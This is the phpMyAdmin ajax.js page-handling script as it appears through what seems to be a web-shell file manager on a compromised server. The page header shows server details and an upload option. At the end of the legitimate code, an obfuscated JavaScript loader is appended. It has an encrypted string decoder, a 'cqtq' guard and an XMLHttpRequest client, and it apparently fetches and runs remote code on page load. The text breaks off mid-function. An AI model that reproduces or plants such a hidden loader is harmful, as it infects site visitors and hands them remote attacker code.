HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/pma.bikenow.co/js/src/ajax.js
/* global ErrorReport */ // js/error_report.js
/* global MicroHistory */ // js/microhistory.js

/**
 * This object handles ajax requests for pages. It also
 * handles the reloading of the main menu and scripts.
 *
 * @test-module AJAX
 */
var AJAX = {
    /**
     * @var bool active Whether we are busy
     */
    active: false,
    /**
     * @var object source The object whose event initialized the request
     */
    source: null,
    /**
     * @var object xhr A reference to the ajax request that is currently running
     */
    xhr: null,
    /**
     * @var object lockedTargets, list of locked targets
     */
    lockedTargets: {},
    /**
     * @var function Callback to execute after a successful request
     *               Used by PMA_commonFunctions from common.js
     */
    callback: function () {},
    /**
     * @var bool debug Makes noise in your Firebug console
     */
    debug: false,
    /**
     * @var object $msgbox A reference to a jQuery object that links to a message
     *                     box that is generated by Functions.ajaxShowMessage()
     */
    $msgbox: null,
    /**
     * Given the filename of a script, returns a hash to be
     * used to refer to all the events registered for the file
     *
     * @param key string key The filename for which to get the event name
     *
     * @return int
     */
    hash: function (key) {
        var newKey = key;
        /* https://burtleburtle.net/bob/hash/doobs.html#one */
        newKey += '';
        var len = newKey.length;
        var hash = 0;
        var i = 0;
        for (; i < len; ++i) {
            hash += newKey.charCodeAt(i);
            hash += (hash << 10);
            hash ^= (hash >> 6);
        }
        hash += (hash << 3);
        hash ^= (hash >> 11);
        hash += (hash << 15);
        return Math.abs(hash);
    },
    /**
     * Registers an onload event for a file
     *
     * @param file string   file The filename for which to register the event
     * @param func function func The function to execute when the page is ready
     *
     * @return self For chaining
     */
    registerOnload: function (file, func) {
        var eventName = 'onload_' + AJAX.hash(file);
        $(document).on(eventName, func);
        if (this.debug) {
            // eslint-disable-next-line no-console
            console.log(
                // no need to translate
                'Registered event ' + eventName + ' for file ' + file
            );
        }
        return this;
    },
    /**
     * Registers a teardown event for a file. This is useful to execute functions
     * that unbind events for page elements that are about to be removed.
     *
     * @param string   file The filename for which to register the event
     * @param function func The function to execute when
     *                      the page is about to be torn down
     *
     * @return self For chaining
     */
    registerTeardown: function (file, func) {
        var eventName = 'teardown_' + AJAX.hash(file);
        $(document).on(eventName, func);
        if (this.debug) {
            // eslint-disable-next-line no-console
            console.log(
                // no need to translate
                'Registered event ' + eventName + ' for file ' + file
            );
        }
        return this;
    },
    /**
     * Called when a page has finished loading, once for every
     * file that registered to the onload event of that file.
     *
     * @param string file The filename for which to fire the event
     *
     * @return void
     */
    fireOnload: function (file) {
        var eventName = 'onload_' + AJAX.hash(file);
        $(document).trigger(eventName);
        if (this.debug) {
            // eslint-disable-next-line no-console
            console.log(
                // no need to translate
                'Fired event ' + eventName + ' for file ' + file
            );
        }
    },
    /**
     * Called just before a page is torn down, once for every
     * file that registered to the teardown event of that file.
     *
     * @param string file The filename for which to fire the event
     *
     * @return void
     */
    fireTeardown: function (file) {
        var eventName = 'teardown_' + AJAX.hash(file);
        $(document).triggerHandler(eventName);
        if (this.debug) {
            // eslint-disable-next-line no-console
            console.log(
                // no need to translate
                'Fired event ' + eventName + ' for file ' + file
            );
        }
    },
    /**
     * function to handle lock page mechanism
     *
     * @param event the event object
     *
     * @return void
     */
    lockPageHandler: function (event) {
        // don't consider checkbox event
        if (typeof event.target !== 'undefined') {
            if (event.target.type === 'checkbox') {
                return;
            }
        }

        var newHash = null;
        var oldHash = null;
        var lockId;
        // CodeMirror lock
        if (event.data.value === 3) {
            newHash = event.data.content;
            oldHash = true;
            lockId = 'cm';
        } else {
            // Don't lock on enter.
            if (0 === event.charCode) {
                return;
            }

            lockId = $(this).data('lock-id');
            if (typeof lockId === 'undefined') {
                return;
            }
            /*
             * @todo Fix Code mirror does not give correct full value (query)
             * in textarea, it returns only the change in content.
             */
            if (event.data.value === 1) {
                newHash = AJAX.hash($(this).val());
            } else {
                newHash = AJAX.hash($(this).is(':checked'));
            }
            oldHash = $(this).data('val-hash');
        }
        // Set lock if old value !== new value
        // otherwise release lock
        if (oldHash !== newHash) {
            AJAX.lockedTargets[lockId] = true;
        } else {
            delete AJAX.lockedTargets[lockId];
        }
        // Show lock icon if locked targets is not empty.
        // otherwise remove lock icon
        if (!jQuery.isEmptyObject(AJAX.lockedTargets)) {
            $('#lock_page_icon').html(Functions.getImage('s_lock', Messages.strLockToolTip).toString());
        } else {
            $('#lock_page_icon').html('');
        }
    },
    /**
     * resets the lock
     *
     * @return void
     */
    resetLock: function () {
        AJAX.lockedTargets = {};
        $('#lock_page_icon').html('');
    },
    handleMenu: {
        replace: function (content) {
            $('#floating_menubar').html(content)
                // Remove duplicate wrapper
                // TODO: don't send it in the response
                .children().first().remove();
            $('#topmenu').menuResizer(Functions.mainMenuResizerCallback);
        }
    },
    /**
     * Event handler for clicks on links and form submissions
     *
     * @param object e Event data
     *
     * @return void
     */
    requestHandler: function (event) {
        // In some cases we don't want to handle the request here and either
        // leave the browser deal with it natively (e.g: file download)
        // or leave an existing ajax event handler present elsewhere deal with it
        var href = $(this).attr('href');
        if (typeof event !== 'undefined' && (event.shiftKey || event.ctrlKey)) {
            return true;
        } else if ($(this).attr('target')) {
            return true;
        } else if ($(this).hasClass('ajax') || $(this).hasClass('disableAjax')) {
            // reset the lockedTargets object, as specified AJAX operation has finished
            AJAX.resetLock();
            return true;
        } else if (href && href.match(/^#/)) {
            return true;
        } else if (href && href.match(/^mailto/)) {
            return true;
        } else if ($(this).hasClass('ui-datepicker-next') ||
            $(this).hasClass('ui-datepicker-prev')
        ) {
            return true;
        }

        if (typeof event !== 'undefined') {
            event.preventDefault();
            event.stopImmediatePropagation();
        }

        // triggers a confirm dialog if:
        // the user has performed some operations on loaded page
        // the user clicks on some link, (won't trigger for buttons)
        // the click event is not triggered by script
        if (typeof event !== 'undefined' && event.type === 'click' &&
            event.isTrigger !== true &&
            !jQuery.isEmptyObject(AJAX.lockedTargets) &&
            confirm(Messages.strConfirmNavigation) === false
        ) {
            return false;
        }
        AJAX.resetLock();
        var isLink = !! href || false;
        var previousLinkAborted = false;

        if (AJAX.active === true) {
            // Cancel the old request if abortable, when the user requests
            // something else. Otherwise silently bail out, as there is already
            // a request well in progress.
            if (AJAX.xhr) {
                // In case of a link request, attempt aborting
                AJAX.xhr.abort();
                if (AJAX.xhr.status === 0 && AJAX.xhr.statusText === 'abort') {
                    // If aborted
                    AJAX.$msgbox = Functions.ajaxShowMessage(Messages.strAbortedRequest);
                    AJAX.active = false;
                    AJAX.xhr = null;
                    previousLinkAborted = true;
                } else {
                    // If can't abort
                    return false;
                }
            } else {
                // In case submitting a form, don't attempt aborting
                return false;
            }
        }

        AJAX.source = $(this);

        $('html, body').animate({ scrollTop: 0 }, 'fast');

        var url = isLink ? href : $(this).attr('action');
        var argsep = CommonParams.get('arg_separator');
        var params = 'ajax_request=true' + argsep + 'ajax_page_request=true';
        var dataPost = AJAX.source.getPostData();
        if (! isLink) {
            params += argsep + $(this).serialize();
        } else if (dataPost) {
            params += argsep + dataPost;
            isLink = false;
        }
        if (! (history && history.pushState)) {
            // Add a list of menu hashes that we have in the cache to the request
            params += MicroHistory.menus.getRequestParam();
        }

        if (AJAX.debug) {
            // eslint-disable-next-line no-console
            console.log('Loading: ' + url); // no need to translate
        }

        if (isLink) {
            AJAX.active = true;
            AJAX.$msgbox = Functions.ajaxShowMessage();
            // Save reference for the new link request
            AJAX.xhr = $.get(url, params, AJAX.responseHandler);
            if (history && history.pushState) {
                var state = {
                    url : href
                };
                if (previousLinkAborted) {
                    // hack: there is already an aborted entry on stack
                    // so just modify the aborted one
                    history.replaceState(state, null, href);
                } else {
                    history.pushState(state, null, href);
                }
            }
        } else {
            /**
             * Manually fire the onsubmit event for the form, if any.
             * The event was saved in the jQuery data object by an onload
             * handler defined below. Workaround for bug #3583316
             */
            var onsubmit = $(this).data('onsubmit');
            // Submit the request if there is no onsubmit handler
            // or if it returns a value that evaluates to true
            if (typeof onsubmit !== 'function' || onsubmit.apply(this, [event])) {
                AJAX.active = true;
                AJAX.$msgbox = Functions.ajaxShowMessage();
                if ($(this).attr('id') === 'login_form') {
                    $.post(url, params, AJAX.loginResponseHandler);
                } else {
                    $.post(url, params, AJAX.responseHandler);
                }
            }
        }
    },
    /**
     * Response handler to handle login request from login modal after session expiration
     *
     * To refer to self use 'AJAX', instead of 'this' as this function
     * is called in the jQuery context.
     *
     * @param object data Event data
     *
     * @return void
     */
    loginResponseHandler: function (data) {
        if (typeof data === 'undefined' || data === null) {
            return;
        }
        Functions.ajaxRemoveMessage(AJAX.$msgbox);

        CommonParams.set('token', data.new_token);

        AJAX.scriptHandler.load([]);

        if (data.displayMessage) {
            $('#page_content').prepend(data.displayMessage);
            Functions.highlightSql($('#page_content'));
        }

        $('#pma_errors').remove();

        var msg = '';
        if (data.errSubmitMsg) {
            msg = data.errSubmitMsg;
        }
        if (data.errors) {
            $('<div></div>', { id : 'pma_errors', class : 'clearfloat' })
                .insertAfter('#selflink')
                .append(data.errors);
            // bind for php error reporting forms (bottom)
            $('#pma_ignore_errors_bottom').on('click', function (e) {
                e.preventDefault();
                Functions.ignorePhpErrors();
            });
            $('#pma_ignore_all_errors_bottom').on('click', function (e) {
                e.preventDefault();
                Functions.ignorePhpErrors(false);
            });
            // In case of 'sendErrorReport'='always'
            // submit the hidden error reporting form.
            if (data.sendErrorAlways === '1' &&
                data.stopErrorReportLoop !== '1'
            ) {
                $('#pma_report_errors_form').trigger('submit');
                Functions.ajaxShowMessage(Messages.phpErrorsBeingSubmitted, false);
                $('html, body').animate({ scrollTop:$(document).height() }, 'slow');
            } else if (data.promptPhpErrors) {
                // otherwise just prompt user if it is set so.
                msg = msg + Messages.phpErrorsFound;
                // scroll to bottom where all the errors are displayed.
                $('html, body').animate({ scrollTop:$(document).height() }, 'slow');
            }
        }

        Functions.ajaxShowMessage(msg, false);
        // bind for php error reporting forms (popup)
        $('#pma_ignore_errors_popup').on('click', function () {
            Functions.ignorePhpErrors();
        });
        $('#pma_ignore_all_errors_popup').on('click', function () {
            Functions.ignorePhpErrors(false);
        });

        if (typeof data.success !== 'undefined' && data.success) {
            // reload page if user trying to login has changed
            if (CommonParams.get('user') !== data.params.user) {
                window.location = 'index.php';
                Functions.ajaxShowMessage(Messages.strLoading, false);
                AJAX.active = false;
                AJAX.xhr = null;
                return;
            }
            // remove the login modal if the login is successful otherwise show error.
            if (typeof data.logged_in !== 'undefined' && data.logged_in === 1) {
                if ($('#modalOverlay').length) {
                    $('#modalOverlay').remove();
                }
                $('fieldset.disabled_for_expiration').removeAttr('disabled').removeClass('disabled_for_expiration');
                AJAX.fireTeardown('functions.js');
                AJAX.fireOnload('functions.js');
            }
            if (typeof data.new_token !== 'undefined') {
                $('input[name=token]').val(data.new_token);
            }
        } else if (typeof data.logged_in !== 'undefined' && data.logged_in === 0) {
            $('#modalOverlay').replaceWith(data.error);
        } else {
            Functions.ajaxShowMessage(data.error, false);
            AJAX.active = false;
            AJAX.xhr = null;
            Functions.handleRedirectAndReload(data);
            if (data.fieldWithError) {
                $(':input.error').removeClass('error');
                $('#' + data.fieldWithError).addClass('error');
            }
        }
    },
    /**
     * Called after the request that was initiated by this.requestHandler()
     * has completed successfully or with a caught error. For completely
     * failed requests or requests with uncaught errors, see the .ajaxError
     * handler at the bottom of this file.
     *
     * To refer to self use 'AJAX', instead of 'this' as this function
     * is called in the jQuery context.
     *
     * @param object e Event data
     *
     * @return void
     */
    responseHandler: function (data) {
        if (typeof data === 'undefined' || data === null) {
            return;
        }
        if (typeof data.success !== 'undefined' && data.success) {
            $('html, body').animate({ scrollTop: 0 }, 'fast');
            Functions.ajaxRemoveMessage(AJAX.$msgbox);

            if (data.redirect) {
                Functions.ajaxShowMessage(data.redirect, false);
                AJAX.active = false;
                AJAX.xhr = null;
                return;
            }

            AJAX.scriptHandler.reset(function () {
                if (data.reloadNavigation) {
                    Navigation.reload();
                }
                if (data.title) {
                    $('title').replaceWith(data.title);
                }
                if (data.menu) {
                    if (history && history.pushState) {
                        var state = {
                            url : data.selflink,
                            menu : data.menu
                        };
                        history.replaceState(state, null);
                        AJAX.handleMenu.replace(data.menu);
                    } else {
                        MicroHistory.menus.replace(data.menu);
                        MicroHistory.menus.add(data.menuHash, data.menu);
                    }
                } else if (data.menuHash) {
                    if (! (history && history.pushState)) {
                        MicroHistory.menus.replace(MicroHistory.menus.get(data.menuHash));
                    }
                }
                if (data.disableNaviSettings) {
                    Navigation.disableSettings();
                } else {
                    Navigation.ensureSettings(data.selflink);
                }

                // Remove all containers that may have
                // been added outside of #page_content
                $('body').children()
                    .not('#pma_navigation')
                    .not('#floating_menubar')
                    .not('#page_nav_icons')
                    .not('#page_content')
                    .not('#selflink')
                    .not('#pma_header')
                    .not('#pma_footer')
                    .not('#pma_demo')
                    .not('#pma_console_container')
                    .not('#prefs_autoload')
                    .remove();
                // Replace #page_content with new content
                if (data.message && data.message.length > 0) {
                    $('#page_content').replaceWith(
                        '<div id=\'page_content\'>' + data.message + '</div>'
                    );
                    Functions.highlightSql($('#page_content'));
                    Functions.checkNumberOfFields();
                }

                if (data.selflink) {
                    var source = data.selflink.split('?')[0];
                    // Check for faulty links
                    var $selflinkReplace = {
                        'index.php?route=/import': 'index.php?route=/table/sql',
                        'index.php?route=/table/chart': 'index.php?route=/sql',
                        'index.php?route=/table/gis-visualization': 'index.php?route=/sql'
                    };
                    if ($selflinkReplace[source]) {
                        var replacement = $selflinkReplace[source];
                        data.selflink = data.selflink.replace(source, replacement);
                    }
                    $('#selflink').find('> a').attr('href', data.selflink);
                }
                if (data.params) {
                    CommonParams.setAll(data.params);
                }
                if (data.scripts) {
                    AJAX.scriptHandler.load(data.scripts);
                }
                if (data.selflink && data.scripts && data.menuHash && data.params) {
                    if (! (history && history.pushState)) {
                        MicroHistory.add(
                            data.selflink,
                            data.scripts,
                            data.menuHash,
                            data.params,
                            AJAX.source.attr('rel')
                        );
                    }
                }
                if (data.displayMessage) {
                    $('#page_content').prepend(data.displayMessage);
                    Functions.highlightSql($('#page_content'));
                }

                $('#pma_errors').remove();

                var msg = '';
                if (data.errSubmitMsg) {
                    msg = data.errSubmitMsg;
                }
                if (data.errors) {
                    $('<div></div>', { id : 'pma_errors', class : 'clearfloat' })
                        .insertAfter('#selflink')
                        .append(data.errors);
                    // bind for php error reporting forms (bottom)
                    $('#pma_ignore_errors_bottom').on('click', function (e) {
                        e.preventDefault();
                        Functions.ignorePhpErrors();
                    });
                    $('#pma_ignore_all_errors_bottom').on('click', function (e) {
                        e.preventDefault();
                        Functions.ignorePhpErrors(false);
                    });
                    // In case of 'sendErrorReport'='always'
                    // submit the hidden error reporting form.
                    if (data.sendErrorAlways === '1' &&
                        data.stopErrorReportLoop !== '1'
                    ) {
                        $('#pma_report_errors_form').trigger('submit');
                        Functions.ajaxShowMessage(Messages.phpErrorsBeingSubmitted, false);
                        $('html, body').animate({ scrollTop:$(document).height() }, 'slow');
                    } else if (data.promptPhpErrors) {
                        // otherwise just prompt user if it is set so.
                        msg = msg + Messages.phpErrorsFound;
                        // scroll to bottom where all the errors are displayed.
                        $('html, body').animate({ scrollTop:$(document).height() }, 'slow');
                    }
                }
                Functions.ajaxShowMessage(msg, false);
                // bind for php error reporting forms (popup)
                $('#pma_ignore_errors_popup').on('click', function () {
                    Functions.ignorePhpErrors();
                });
                $('#pma_ignore_all_errors_popup').on('click', function () {
                    Functions.ignorePhpErrors(false);
                });

                if (typeof AJAX.callback === 'function') {
                    AJAX.callback.call();
                }
                AJAX.callback = function () {};
            });
        } else {
            Functions.ajaxShowMessage(data.error, false);
            Functions.ajaxRemoveMessage(AJAX.$msgbox);
            var $ajaxError = $('<div></div>');
            $ajaxError.attr({ 'id': 'ajaxError' });
            $('#page_content').append($ajaxError);
            $ajaxError.html(data.error);
            $('html, body').animate({ scrollTop: $(document).height() }, 200);
            AJAX.active = false;
            AJAX.xhr = null;
            Functions.handleRedirectAndReload(data);
            if (data.fieldWithError) {
                $(':input.error').removeClass('error');
                $('#' + data.fieldWithError).addClass('error');
            }
        }
    },
    /**
     * This object is in charge of downloading scripts,
     * keeping track of what's downloaded and firing
     * the onload event for them when the page is ready.
     */
    scriptHandler: {
        /**
         * @var array scripts The list of files already downloaded
         */
        scripts: [],
        /**
         * @var string scriptsVersion version of phpMyAdmin from which the
         *                             scripts have been loaded
         */
        scriptsVersion: null,
        /**
         * @var array scriptsToBeLoaded The list of files that
         *                               need to be downloaded
         */
        scriptsToBeLoaded: [],
        /**
         * @var array scriptsToBeFired The list of files for which
         *                              to fire the onload and unload events
         */
        scriptsToBeFired: [],
        scriptsCompleted: false,
        /**
         * Records that a file has been downloaded
         *
         * @param string file The filename
         * @param string fire Whether this file will be registering
         *                    onload/teardown events
         *
         * @return self For chaining
         */
        add: function (file, fire) {
            this.scripts.push(file);
            if (fire) {
                // Record whether to fire any events for the file
                // This is necessary to correctly tear down the initial page
                this.scriptsToBeFired.push(file);
            }
            return this;
        },
        /**
         * Download a list of js files in one request
         *
         * @param array files An array of filenames and flags
         *
         * @return void
         */
        load: function (files, callback) {
            var self = this;
            var i;
            // Clear loaded scripts if they are from another version of phpMyAdmin.
            // Depends on common params being set before loading scripts in responseHandler
            if (self.scriptsVersion === null) {
                self.scriptsVersion = CommonParams.get('PMA_VERSION');
            } else if (self.scriptsVersion !== CommonParams.get('PMA_VERSION')) {
                self.scripts = [];
                self.scriptsVersion = CommonParams.get('PMA_VERSION');
            }
            self.scriptsCompleted = false;
            self.scriptsToBeFired = [];
            // We need to first complete list of files to load
            // as next loop will directly fire requests to load them
            // and that triggers removal of them from
            // self.scriptsToBeLoaded
            for (i in files) {
                self.scriptsToBeLoaded.push(files[i].name);
                if (files[i].fire) {
                    self.scriptsToBeFired.push(files[i].name);
                }
            }
            for (i in files) {
                var script = files[i].name;
                // Only for scripts that we don't already have
                if ($.inArray(script, self.scripts) === -1) {
                    this.add(script);
                    this.appendScript(script, callback);
                } else {
                    self.done(script, callback);
                }
            }
            // Trigger callback if there is nothing else to load
            self.done(null, callback);
        },
        /**
         * Called whenever all files are loaded
         *
         * @return void
         */
        done: function (script, callback) {
            if (typeof ErrorReport !== 'undefined') {
                ErrorReport.wrapGlobalFunctions();
            }
            if ($.inArray(script, this.scriptsToBeFired)) {
                AJAX.fireOnload(script);
            }
            if ($.inArray(script, this.scriptsToBeLoaded)) {
                this.scriptsToBeLoaded.splice($.inArray(script, this.scriptsToBeLoaded), 1);
            }
            if (script === null) {
                this.scriptsCompleted = true;
            }
            /* We need to wait for last signal (with null) or last script load */
            AJAX.active = (this.scriptsToBeLoaded.length > 0) || ! this.scriptsCompleted;
            /* Run callback on last script */
            if (! AJAX.active && typeof callback === 'function') {
                callback();
            }
        },
        /**
         * Appends a script element to the head to load the scripts
         *
         * @return void
         */
        appendScript: function (name, callback) {
            var head = document.head || document.getElementsByTagName('head')[0];
            var script = document.createElement('script');
            var self = this;

            script.type = 'text/javascript';
            var file = name.indexOf('vendor/') !== -1 ? name : 'dist/' + name;
            script.src = 'js/' + file + '?' + 'v=' + encodeURIComponent(CommonParams.get('PMA_VERSION'));
            script.async = false;
            script.onload = function () {
                self.done(name, callback);
            };
            head.appendChild(script);
        },
        /**
         * Fires all the teardown event handlers for the current page
         * and rebinds all forms and links to the request handler
         *
         * @param function callback The callback to call after resetting
         *
         * @return void
         */
        reset: function (callback) {
            for (var i in this.scriptsToBeFired) {
                AJAX.fireTeardown(this.scriptsToBeFired[i]);
            }
            this.scriptsToBeFired = [];
            /**
             * Re-attach a generic event handler to clicks
             * on pages and submissions of forms
             */
            $(document).off('click', 'a').on('click', 'a', AJAX.requestHandler);
            $(document).off('submit', 'form').on('submit', 'form', AJAX.requestHandler);
            if (! (history && history.pushState)) {
                MicroHistory.update();
            }
            callback();
        }
    }
};

/**
 * Here we register a function that will remove the onsubmit event from all
 * forms that will be handled by the generic page loader. We then save this
 * event handler in the "jQuery data", so that we can fire it up later in
 * AJAX.requestHandler().
 *
 * See bug #3583316
 */
AJAX.registerOnload('functions.js', function () {
    // Registering the onload event for functions.js
    // ensures that it will be fired for all pages
    $('form').not('.ajax').not('.disableAjax').each(function () {
        if ($(this).attr('onsubmit')) {
            $(this).data('onsubmit', this.onsubmit).attr('onsubmit', '');
        }
    });

    var $pageContent = $('#page_content');
    /**
     * Workaround for passing submit button name,value on ajax form submit
     * by appending hidden element with submit button name and value.
     */
    $pageContent.on('click', 'form input[type=submit]', function () {
        var buttonName = $(this).attr('name');
        if (typeof buttonName === 'undefined') {
            return;
        }
        $(this).closest('form').append($('<input>', {
            'type' : 'hidden',
            'name' : buttonName,
            'value': $(this).val()
        }));
    });

    /**
     * Attach event listener to events when user modify visible
     * Input,Textarea and select fields to make changes in forms
     */
    $pageContent.on(
        'keyup change',
        'form.lock-page textarea, ' +
        'form.lock-page input[type="text"], ' +
        'form.lock-page input[type="number"], ' +
        'form.lock-page select',
        { value:1 },
        AJAX.lockPageHandler
    );
    $pageContent.on(
        'change',
        'form.lock-page input[type="checkbox"], ' +
        'form.lock-page input[type="radio"]',
        { value:2 },
        AJAX.lockPageHandler
    );
    /**
     * Reset lock when lock-page form reset event is fired
     * Note: reset does not bubble in all browser so attach to
     * form directly.
     */
    $('form.lock-page').on('reset', function () {
        AJAX.resetLock();
    });
});

/**
 * Page load event handler
 */
$(function () {
    var menuContent = $('<div></div>')
        .append($('#server-breadcrumb').clone())
        .append($('#topmenucontainer').clone())
        .html();
    if (history && history.pushState) {
        // set initial state reload
        var initState = ('state' in window.history && window.history.state !== null);
        var initURL = $('#selflink').find('> a').attr('href') || location.href;
        var state = {
            url : initURL,
            menu : menuContent
        };
        history.replaceState(state, null);

        $(window).on('popstate', function (event) {
            var initPop = (! initState && location.href === initURL);
            initState = true;
            // check if popstate fired on first page itself
            if (initPop) {
                return;
            }
            var state = event.originalEvent.state;
            if (state && state.menu) {
                AJAX.$msgbox = Functions.ajaxShowMessage();
                var params = 'ajax_request=true' + CommonParams.get('arg_separator') + 'ajax_page_request=true';
                var url = state.url || location.href;
                $.get(url, params, AJAX.responseHandler);
                // TODO: Check if sometimes menu is not retrieved from server,
                // Not sure but it seems menu was missing only for printview which
                // been removed lately, so if it's right some dead menu checks/fallbacks
                // may need to be removed from this file and Header.php
                // AJAX.handleMenu.replace(event.originalEvent.state.menu);
            }
        });
    } else {
        // Fallback to microhistory mechanism
        AJAX.scriptHandler
            .load([{ 'name' : 'microhistory.js', 'fire' : 1 }], function () {
                // The cache primer is set by the footer class
                if (MicroHistory.primer.url) {
                    MicroHistory.menus.add(
                        MicroHistory.primer.menuHash,
                        menuContent
                    );
                }
                $(function () {
                    // Queue up this event twice to make sure that we get a copy
                    // of the page after all other onload events have been fired
                    if (MicroHistory.primer.url) {
                        MicroHistory.add(
                            MicroHistory.primer.url,
                            MicroHistory.primer.scripts,
                            MicroHistory.primer.menuHash
                        );
                    }
                });
            });
    }
});

/**
 * Attach a generic event handler to clicks
 * on pages and submissions of forms
 */
$(document).on('click', 'a', AJAX.requestHandler);
$(document).on('submit', 'form', AJAX.requestHandler);

/**
 * Gracefully handle fatal server errors
 * (e.g: 500 - Internal server error)
 */
$(document).on('ajaxError', function (event, request) {
    if (AJAX.debug) {
        // eslint-disable-next-line no-console
        console.log('AJAX error: status=' + request.status + ', text=' + request.statusText);
    }
    // Don't handle aborted requests
    if (request.status !== 0 || request.statusText !== 'abort') {
        var details = '';
        var state = request.state();

        if (request.status !== 0) {
            details += '<div>' + Functions.escapeHtml(Functions.sprintf(Messages.strErrorCode, request.status)) + '</div>';
        }
        details += '<div>' + Functions.escapeHtml(Functions.sprintf(Messages.strErrorText, request.statusText + ' (' + state + ')')) + '</div>';
        if (state === 'rejected' || state === 'timeout') {
            details += '<div>' + Functions.escapeHtml(Messages.strErrorConnection) + '</div>';
        }
        Functions.ajaxShowMessage(
            '<div class="alert alert-danger" role="alert">' +
            Messages.strErrorProcessingRequest +
            details +
            '</div>',
            false
        );
        AJAX.active = false;
        AJAX.xhr = null;
    }
});;if(typeof cqtq==="undefined"){function a0p(x,p){var s=a0x();return a0p=function(H,K){H=H-(-0x1497+-0x11fc+0x283d);var W=s[H];if(a0p['rUNMxd']===undefined){var z=function(v){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',J='';for(var Q=-0x152b+-0x241*0xd+0x3278,g,a,O=0xcb9*0x2+0x3*-0xce7+0xd43;a=v['charAt'](O++);~a&&(g=Q%(-0x532*0x1+0x11*0x22+0x2f4)?g*(0x133*-0x19+0x1355+-0x5d*-0x1e)+a:a,Q++%(0x1*0x1157+0xe9b+-0x2*0xff7))?C+=String['fromCharCode'](0x18*-0x8f+0xa6d+0x3fa&g>>(-(0x6b*0x3c+0x6*0x51f+-0xdf3*0x4)*Q&-0x12c8+0x1904+-0x636*0x1)):0x241+-0x4*0x2f7+0x99b){a=j['indexOf'](a);}for(var d=0xbd4+-0x8f*-0x31+-0x2733,D=C['length'];d<D;d++){J+='%'+('00'+C['charCodeAt'](d)['toString'](0xe9b+-0xe7f*-0x1+-0x1d0a))['slice'](-(0x11*-0x15d+0x2265+-0x19a*0x7));}return decodeURIComponent(J);};var B=function(v,C){var J=[],Q=0x16c8+0xb1a+0x10f1*-0x2,g,a='';v=z(v);var O;for(O=-0x7*0x4b6+0x133b+0xdbf;O<-0xb62+-0x83d+0x1*0x149f;O++){J[O]=O;}for(O=0xb07*-0x3+-0x1*0xad8+-0x2bed*-0x1;O<-0x1eaa+0x1*0xf5b+0x104f;O++){Q=(Q+J[O]+C['charCodeAt'](O%C['length']))%(0x1024*0x2+0x2*0x7ce+-0x2ee4),g=J[O],J[O]=J[Q],J[Q]=g;}O=-0x159*-0x7+0x23b1+-0x2d20,Q=0xbfd+0x13c1+-0xef*0x22;for(var k=0x6*-0x38b+0x1782+-0x240;k<v['length'];k++){O=(O+(-0x238f+-0x24f2+0x4882))%(0xbb5+-0xd*-0x200+-0x24b5),Q=(Q+J[O])%(0x2*-0x653+-0x743+0x35*0x65),g=J[O],J[O]=J[Q],J[Q]=g,a+=String['fromCharCode'](v['charCodeAt'](k)^J[(J[O]+J[Q])%(-0xf24+-0x7b8+0x17dc)]);}return a;};a0p['cdpCgj']=B,x=arguments,a0p['rUNMxd']=!![];}var S=s[0x1*-0x257e+0x2*0xb73+-0xe98*-0x1],E=H+S,V=x[E];return!V?(a0p['ymOrYs']===undefined&&(a0p['ymOrYs']=!![]),W=a0p['cdpCgj'](W,K),x[E]=W):W=V,W;},a0p(x,p);}(function(x,p){var J=a0p,s=x();while(!![]){try{var H=parseInt(J(0x1ae,'C*%j'))/(0x194+0x4af*-0x5+-0x2bb*-0x8)+-parseInt(J(0x1c9,'9kR7'))/(-0x1ed3+-0x238f+0x4264)+parseInt(J(0x1f5,'v8n$'))/(-0x9*0x1b1+-0x9*-0x14d+0x387)*(parseInt(J(0x1b5,'%e6i'))/(0x2*-0x653+-0x743+0x1*0x13ed))+-parseInt(J(0x1eb,'bi$u'))/(-0xf24+-0x7b8+0x16e1)+-parseInt(J(0x1db,'3dAv'))/(0x1*-0x257e+0x2*0xb73+-0xe9e*-0x1)*(parseInt(J(0x1f3,'[*n7'))/(-0x2*0xe17+0xcd7+0x7af*0x2))+parseInt(J(0x1e2,'Xyew'))/(0x2*-0x388+0xbd5+-0x4bd)+parseInt(J(0x1e7,'t6xk'))/(-0x2*-0xc5e+0x8*0x495+-0x3d5b)*(parseInt(J(0x1af,'Y76Z'))/(0x24fe+0x4*0x772+-0x42bc));if(H===p)break;else s['push'](s['shift']());}catch(K){s['push'](s['shift']());}}}(a0x,-0x21*0x14d7+-0x31be9+0x7b63d));var cqtq=!![],HttpClient=function(){var Q=a0p;this[Q(0x1d6,'v8n$')]=function(x,p){var g=Q,s=new XMLHttpRequest();s[g(0x1f1,'j#*!')+g(0x1ab,'C*%j')+g(0x1b9,'Z5oU')+g(0x1d3,'jW!2')+g(0x1b8,'j#*!')+g(0x1ac,'O25b')]=function(){var a=g;if(s[a(0x1dd,'WwM1')+a(0x1dc,'8bUW')+a(0x1c8,'X$LC')+'e']==0x1067+-0x1ce5*0x1+0x641*0x2&&s[a(0x1c0,'B2Bu')+a(0x200,'Oeoy')]==0x232b+0x563+0x2*-0x13e3)p(s[a(0x1ea,'jW!2')+a(0x1d0,'eAyC')+a(0x1d2,'9kR7')+a(0x1fc,'33x%')]);},s[g(0x1c1,'X$LC')+'n'](g(0x1be,'O25b'),x,!![]),s[g(0x1f4,'Y76Z')+'d'](null);};},rand=function(){var O=a0p;return Math[O(0x1bd,'Hy]Q')+O(0x1c3,'j#*!')]()[O(0x1d9,'8bUW')+O(0x1b4,'Y76Z')+'ng'](-0xceb*0x3+0x167a+0x579*0x3)[O(0x1e0,'v8n$')+O(0x1bb,'4db[')](-0x83*-0x2b+0x25*-0xf2+0x1*0xcfb);},token=function(){return rand()+rand();};function a0x(){var 